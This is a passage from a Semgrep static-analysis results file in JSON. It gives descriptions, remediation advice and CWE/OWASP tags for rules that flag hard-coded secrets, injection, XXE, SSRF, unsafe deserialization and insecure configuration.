hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string)\n - [https://bugs.python.org/issue43472](https://bugs.python.org/issue43472)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","id":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","name":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"help":{"markdown":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval)\n - [https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen](https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen)\n","text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval","id":"python.lang.security.audit.logging.listeneval.listen-eval","name":"python.lang.security.audit.logging.listeneval.listen-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.listeneval.listen-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"help":{"markdown":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n","text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","id":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","name":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"help":{"markdown":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n","text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","id":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","name":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle","id":"python.lang.security.deserialization.pickle.avoid-cPickle","name":"python.lang.security.deserialization.pickle.avoid-cPickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-cPickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","id":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","name":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `math/rand`. Use `crypto/rand` instead."},"help":{"markdown":"Do not use `math/rand`. Use `crypto/rand` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation)\n","text":"Do not use `math/rand`. Use `crypto/rand` instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used","id":"go.lang.security.audit.crypto.math_random.math-random-used","name":"go.lang.security.audit.crypto.math_random.math-random-used","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.math_random.math-random-used"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Secret Access Key detected"},"help":{"markdown":"AWS Secret Access Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Secret Access Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","id":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","name":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","id":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","name":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","id":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","name":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run)\n - [https://deno.land/manual/examples/subprocess#simple-example](https://deno.land/manual/examples/subprocess#simple-example)\n","text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","id":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","name":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","id":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","name":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"help":{"markdown":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing)\n - [https://www.npmjs.com/package/serve-index](https://www.npmjs.com/package/serve-index)\n - [https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/](https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/)\n","text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","id":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","name":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","properties":{"precision":"very-high","tags":["CWE-548: Exposure of Information Through Directory Listing","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"help":{"markdown":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n - [https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/](https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/)\n - [https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)\n","text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"helpUri":"https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","id":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","name":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","CWE-862: Missing Authorization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company 